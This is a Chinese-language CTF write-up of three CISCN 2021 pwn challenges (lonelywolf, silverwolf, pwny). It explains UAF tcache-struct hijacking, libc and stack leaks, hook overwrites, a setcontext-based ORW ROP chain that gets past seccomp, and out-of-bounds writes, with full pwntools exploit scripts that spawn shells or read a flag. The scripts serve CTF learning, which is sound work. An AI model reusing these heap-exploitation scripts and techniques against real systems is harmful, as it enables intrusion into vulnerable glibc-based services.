CISCN2021线上复现

一.lonelywolf:UAF,show函数也可以泄露释放后的堆块。

1.思路:

(1)由于在edit的时候先是创建了一个新变量,然后依据size来从变量中获取数据拷贝到chunk中,所以最后补0其实没办法造成off by null。

(2)申请0x8大小的堆块,释放后修改数据,连上放入tcache之后被赋值的bk,show一下,泄露出堆地址。

(3)申请最大size的chunk,0x78,delete之后改掉fd指向heap_base,获得tcache结构体的控制权,0-0x40为大小,0x40-0x78为bin链,可控0x20,0x30,0x40,0x50,0x60,0x70,0x80的bin链。

(4)之后就随意了,控bin链和bin大小,将任意一个bin大小的count改成7,伪造满tcache,之后释放一个chunk即可进入unsortedbin中,show一下得到Libc地址。

(5)再控tcache结构体,直接得到malloc_hook的chunk,改为One_gadget,再申请一下chunk即可getshell。

2.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#注释头

from pwn import *
#context.log_level = 'debug'
local = 0
if local:
p = process('./lonelywolf')
elf = ELF("./lonelywolf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("114.116.231.128","25285")
libc = ELF("./libc-2.27.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "Your choice: "


def add(idx, size):
sla(menu, "1")
sla("Index: ",str(idx))
sla("Size: ",str(size))


def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", str(con))

#leak heap
add(0,8)
add(0,8)
delete(0)
edit(0,"A"*8)
show(0)
ru("AAAAAAAA")
heap = u64(p.recv(6)+"\x00"+"\x00")-0x10

#control tcache struct,leak libc
add(0,0x78)
delete(0)
#edit(0,p64(heap+0x2a0))
edit(0,p64(heap+0x10))
add(0,0x78)
add(0,0x78)
edit(0,"\x00"*35+"\x07")
delete(0)
show(0)
ru("Content: ")
malloc_hook = u64(p.recv(6)+"\x00"+"\x00")-112
free_hook = malloc_hook+7352
libc = malloc_hook-0x3EBC30
system = libc+0x4F550
print("free_hook:",hex(free_hook))
print(hex(malloc_hook))

#change malloc_hook to one_gadget
one_gadget = libc+0x10a41c
edit(0,"\x02"+"\x00"*0x3f+p64(heap+0x280)+"\x00"*0x30)
add(0,0x8)
delete(0)
edit(0,p64(malloc_hook))
add(0,0x8)
add(0,0x8)
edit(0,p64(one_gadget))
add(0,0x8)
p.interactive()

二、silverwolf:(比赛的时候没接触过seccomp保护,在学长的指导下也算是做出来了。)和上面一样,只是加了沙箱保护,用seccomp-tools dump ./silverwolf查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

root@241adce81c0a:/ctf/CISCN/silverwolf# seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

可以看到只剩read和write权限了,同时题目提示flag在./flag,所以用read和write来读取和打印flag即可,利用orw。

1.思路:

(1)一样的,控tcache结构体泄露heap和libc。

(2)这里由于开seccomp保护会申请挺多堆块的,所以bins和heap中都比较乱,再加上限制size,所以这里可以有两种方法:

①一是控tcache,从0x10-0x80都给控了,加起来总共0x240,这里算出来是0x148,足够放下orw了。

②二是利用IO_FILE泄露environ,得到栈地址,再泄露得到ELF基地址,计算BSS段,将size给改了,那么edit想输入多少数据就能输入多少,这样就可以在一个chunk中放下所有orw。

2.贴下exp:

①控tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
from pwn import *
import os
import struct
import random
import time
import sys
import signal

#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

local = 1
if local:
p = process('./silverwolf')
elf = ELF("./silverwolf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("114.116.231.128","25285")
libc = ELF("./libc-2.27.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x00000000000215bf# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023eea # pop rsi ; ret
pop_rdx_rsi_ret = libc_base + 0x0000000000130569 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret
syscall_ret = libc_base + 0x11B637
pop_rax_ret = libc_base + 0x0000000000043ae8

menu = "Your choice: "


def add(idx, size):
sla(menu, "1")
sla("Index: ",str(idx))
sla("Size: ",str(size))


def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", str(con))

#leak heap
add(0,8)
add(0,8)
delete(0)
edit(0,"A"*8)
show(0)
ru("AAAAAAAA")
heap = u64(p.recv(6)+"\x00"+"\x00")-0x10
print("heap:",hex(heap))

#control tcache struct,leak libc
add(0,0x78)
delete(0)
#edit(0,p64(heap+0x2a0))
edit(0,p64(heap+0x10))
add(0,0x78)
add(0,0x78)
edit(0,"\x00"*35+"\x07")
delete(0)
show(0)
ru("Content: ")
malloc_hook = u64(p.recv(6)+"\x00"+"\x00")-112
free_hook = malloc_hook+7352
libc_base = malloc_hook-0x3EBC30
setcontext = libc_base+libc.sym['setcontext']
system = libc_base+0x4F550
IO_2_1_stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
environ = libc_base+libc.symbols['__environ']
print("IO_stdout:",hex(IO_2_1_stdout_addr))
print("environ:",hex(environ))
print("libc:",hex(libc_base))
print("setcontext:",hex(setcontext))
print("system:",hex(system))
print("free_hook:",hex(free_hook))
print("malloc_hook:",hex(malloc_hook))
print("libsystem:",hex(libc.sym["system"]))

#use IO_FILE,leak environ,elf_base,bss_addr,change size
edit(0,"\x00"+"\x00"+"\x00"+"\x00"+"\x00"+"\x02"+"\x04"+ "\x00"*0x39+
p64(0x0)+ #0x20
p64(0x0)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(IO_2_1_stdout_addr)+ #0x70
p64(heap+0x10)) #0x80
add(0,0x68)
#delete(0)
#edit(0,p64(malloc_hook))
#add(0,0x8)
#add(0,0x8)
edit(0,p64(0xFBAD1800)+p64(IO_2_1_stdout_addr+131)*0x3+p64(environ)+p64(environ+0x8))
stack = u64(p.recv(6)+"\x00"+"\x00")
print("stack",hex(stack))
edit(0,p64(0xFBAD1800) +p64(IO_2_1_stdout_addr+131)*0x3+p64(stack+168)+p64(stack+168+8))
elf = u64(p.recv(6)+"\x00"+"\x00")-0x40
print("elf",hex(elf))
bss = elf+0x202020
size_addr = bss+0x30

#set free_hook to setcontext+53
add(0,0x78)
edit(0,"\x01"+"\x01"+"\x00"+"\x00"+"\x01"+"\x02"+"\x04"+ "\x00"*0x39+
p64(free_hook)+ #0x20
p64(0x0)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(size_addr)+ #0x60
p64(0x0)+ #0x70
p64(heap+0x10)) #0x80
add(0,0x8)
edit(0,p64(setcontext+53))

add(0,0x78)
edit(0,"\x02"+"\x01"+"\x01"+"\x01"+"\x01"+"\x02"+"\x04"+"\x02" +"\x00"*0x38+
p64(heap+0x2e0)+ #0x20
p64(heap+0x2e0+0x10)+ #0x30
p64(heap+0x2e0+0x30)+ #0x40
p64(heap+0x2e0+0x60)+ #0x50
p64(heap+0x2e0+0xa0)+ #0x60
p64(heap+0x2e0+0xf0)+ #0x70
p64(heap+0x2e0)) #0x80


fake_rsp = heap+0x2e0+0xb0+0x10
flag = heap+0x2e0+0xb0

orw = "a"*0xa0 + p64(fake_rsp)+p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
print(len(orw))

#copy the orw to heap+0x2e0
add(0,0x10)
edit(0,orw[0:0x10])

add(0,0x20)
edit(0,orw[0x10:0x30])

add(0,0x30)
edit(0,orw[0x30:0x60])

add(0,0x40)
edit(0,orw[0x60:0xa0])

add(0,0x50)
edit(0,orw[0xa0:0xf0])

add(0,0x60)
edit(0,orw[0xf0:0x150])

add(0,0x78)
delete(0)

p.interactive()

②修改size:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from pwn import *
import os
import struct
import random
import time
import sys
import signal

#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

local = 1
if local:
p = process('./silverwolf')
elf = ELF("./silverwolf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("114.116.231.128","25285")
libc = ELF("./libc-2.27.so")


#ROPgadget
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x00000000000215bf# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023eea # pop rsi ; ret
pop_rdx_rsi_ret = libc_base + 0x0000000000130569 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret
syscall_ret = libc_base + 0x11B637
pop_rax_ret = libc_base + 0x0000000000043ae8

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "Your choice: "


def add(idx, size):
sla(menu, "1")
sla("Index: ",str(idx))
sla("Size: ",str(size))


def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", str(con))

#leak heap
add(0,8)
add(0,8)
delete(0)
edit(0,"A"*8)
show(0)
ru("AAAAAAAA")
heap = u64(p.recv(6)+"\x00"+"\x00")-0x10
print("heap:",hex(heap))

#control tcache struct,leak libc
add(0,0x78)
delete(0)
#edit(0,p64(heap+0x2a0))
edit(0,p64(heap+0x10))
add(0,0x78)
add(0,0x78)
edit(0,"\x00"*35+"\x07")
delete(0)
show(0)
ru("Content: ")
malloc_hook = u64(p.recv(6)+"\x00"+"\x00")-112
free_hook = malloc_hook+7352
libc_base = malloc_hook-0x3EBC30
setcontext = libc_base+libc.sym['setcontext']
system = libc_base+0x4F550
IO_2_1_stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
environ = libc_base+libc.symbols['__environ']
print("IO_stdout:",hex(IO_2_1_stdout_addr))
print("environ:",hex(environ))
print("libc:",hex(libc_base))
print("setcontext:",hex(setcontext))
print("system:",hex(system))
print("free_hook:",hex(free_hook))
print("malloc_hook:",hex(malloc_hook))
print("libsystem:",hex(libc.sym["system"]))

#use IO_FILE,leak environ,elf_base,bss_addr,change size
edit(0,"\x00"+"\x00"+"\x00"+"\x00"+"\x00"+"\x02"+"\x04"+ "\x00"*0x39+
p64(0x0)+ #0x20
p64(0x0)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(heap+0x10)+ #0x70
p64(IO_2_1_stdout_addr)) #0x80
add(0,0x78)
#delete(0)
#edit(0,p64(malloc_hook))
#add(0,0x8)
#add(0,0x8)
edit(0,p64(0xFBAD1800)+p64(IO_2_1_stdout_addr+131)*0x3+p64(environ)+p64(environ+0x8))
stack = u64(p.recv(6)+"\x00"+"\x00")
print("stack",hex(stack))
edit(0,p64(0xFBAD1800) +p64(IO_2_1_stdout_addr+131)*0x3+p64(stack+168)+p64(stack+168+8))
elf = u64(p.recv(6)+"\x00"+"\x00")-0x40
print("elf",hex(elf))
bss = elf+0x202020
size_addr = bss+0x30

#set free_hook to setcontext+53
add(0,0x68)
edit(0,"\x01"+"\x01"+"\x00"+"\x00"+"\x01"+"\x02"+"\x04"+ "\x00"*0x39+
p64(free_hook)+ #0x20
p64(heap+0x260)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(size_addr)) #0x60
add(0,0x8)
edit(0,p64(setcontext+53))

#get final chunk
add(0,0x58)
edit(0,p64(0x500)+p64(heap+0x2e0))


fake_rsp = heap+0x2e0+0xb0+0x10
flag = heap+0x2e0+0xb0
orw = "a"*0xa0 + p64(fake_rsp)+p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

edit(0,orw)
delete(0)

p.interactive()

▲写得有点乱,为了达到效果中间加了不少不必要的,慢慢来吧,后面估计就能更好控tcache了。

三、pwnmy:越界任意写

这道题很有意思,用到了很多知识点。

1.关于read函数:read(fd,&var,amount)

read函数中的fd如果不为0,那么如果fd对应的Filehandle中没有数据,相当于没有被执行,如果有数据,那么就相当于是复制,将fd对应Filehandle中的数据复制amount个字节给var。其实本质来说read就是一个复制函数,只是fd为0代表标准输入,所以会从我们的输入中获取数据来复制。所以很多时候能够用到fd来出题。

这里就用到题目的write函数,第一次write(256)越界,将fd对应的Filehandle中的随机值复制给byte_202860,此时byte_202860中的值为result = open(“/dev/urandom”, 0);出来的随机值。

img

之后再次write(256)越界,此时byte_202860从随机值中取一个字节:

img

img

这里复现时为0x15,但是0x15没有对应的Filehandle,那么依据read函数的性质,相当于没有运行,所以byte_202860就会被赋值为0,这也就是为什么要write(256)两次的原因。

2.关于getshell方法:

(1)利用scanf函数,这个函数在接收过多输入时,会申请堆块,可以利用这个来用malloc和realloc调整栈帧配合one_gadget来getshell。因为我调试的时候所有的one_gadget都不满足。

(2)利用exit函数,函数流为:

exit()->__run_exit_handlers->_dl_fini->*******[_dl_rtld_lock_recursive/_dl_rtld_unlock_recursive]

而[_dl_rtld_lock_recursive/_dl_rtld_unlock_recursive]位于结构体_rtld_global中,可读可写,所以利用任意写改掉_rtld_global中的函数指针为one_gadget即可。但是这里的One_gadget也都不符合,所以需要用到一些gadget来调整,这里自己找吧。

推荐:https://www.cnblogs.com/bhxdn/p/14222558.html

(3)利用environ,可以利用libc上的environ来获取栈地址,然后直接改栈上的返回地址吗,对应调整栈帧即可。这里改write的返回地址可以直接getshell。

4.关于泄露地址:

(1)libc地址:可以看到bss段上保存着三个标准符号:012->stdout,stdin,stderr。而这三个bss段变量在所有libc中都有,并且里面保存着对应的结构体的地址:

_IO_2_1_stdout,_IO_2_1_stdin,_IO_2_1_stderr

所以可以利用任意读来获取libc地址。

(2)elf地址:由于之后需要修改libc地址吗,所以一定需要qword_202060的地址,而这个elf地址就只能往后找了,用qword_202060[v2]的相对偏移往后找了,这里自己找。

▲综上所述,这道题也差不多了,考点还是挺多的,方法也挺多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwny"
libc_file = "./libc-2.27.so"
#libc_file = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("119.3.81.43","49153")
elf = ELF(binary)
libc = ELF(libc_file)



def menu(idx):
sla(": ", str(idx))

def write_fd(idx):
menu(2)
sla(": ", str(idx))


def write(idx, con):
menu(2)
sla(": ", str(idx))
sd(con)

def read(idx):
menu(1)
sa(": ", idx)

write_fd(256)
gdb.attach(p)
pause()

write_fd(256)

#leak stderr
read(p64(-4&0xffffffffffffffff))
ru(": ")
stderr_addr = int(ru("\n"), 16)

#leak elf
read(p64(-0xb&0xffffffffffffffff))
ru(": ")
elf_base = int(ru("\n"), 16) -0x202008

log.info("stderr_addr:0x%x"%stderr_addr)
log.info("elf_base:0x%x"%elf_base)

qword_202060_addr = elf_base+0x202060

obj = LibcSearcher("_IO_2_1_stderr_", stderr_addr)
libc_base = stderr_addr-obj.dump('_IO_2_1_stderr_')
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")

malloc_hook_addr = libc_base + obj.dump("__malloc_hook")
realloc_hook_addr = libc_base + obj.dump("__realloc_hook")
realloc_addr = libc_base + obj.dump("realloc")
_rtld_global_addr = libc_base + obj.dump("_rtld_global_")
# offset1 = (_rtld_global_addr+3840 - qword_202060_addr)/8
# offset2 = (_rtld_global_addr+3848 - qword_202060_addr)/8
offset_malloc = (malloc_hook_addr-qword_202060_addr)/8
offset_realloc_hook = (realloc_hook_addr-qword_202060_addr)/8
# log.info("offset1:0x%x"%offset1)
# log.info("offset1:0x%x"%offset2)

log.info("_rtld_global_addr:0x%x"%_rtld_global_addr)
log.info("realloc_addr:0x%x"%realloc_addr)
log.info("malloc_hook_addr:0x%x"%malloc_hook_addr)
log.info("realloc_hook_addr:0x%x"%realloc_hook_addr)

one_gadget = libc_base + 0x10a41c
log.info("one_gadget:0x%x"%one_gadget)

# write(offset1,p64(one_gadget))
# write(offset2,p64(one_gadget))
write(offset_malloc,p64(realloc_addr+0x4))
write(offset_realloc_hook,p64(one_gadget))

# gdb.attach(p)
# pause()

sl("9"*0x1000)
p.interactive()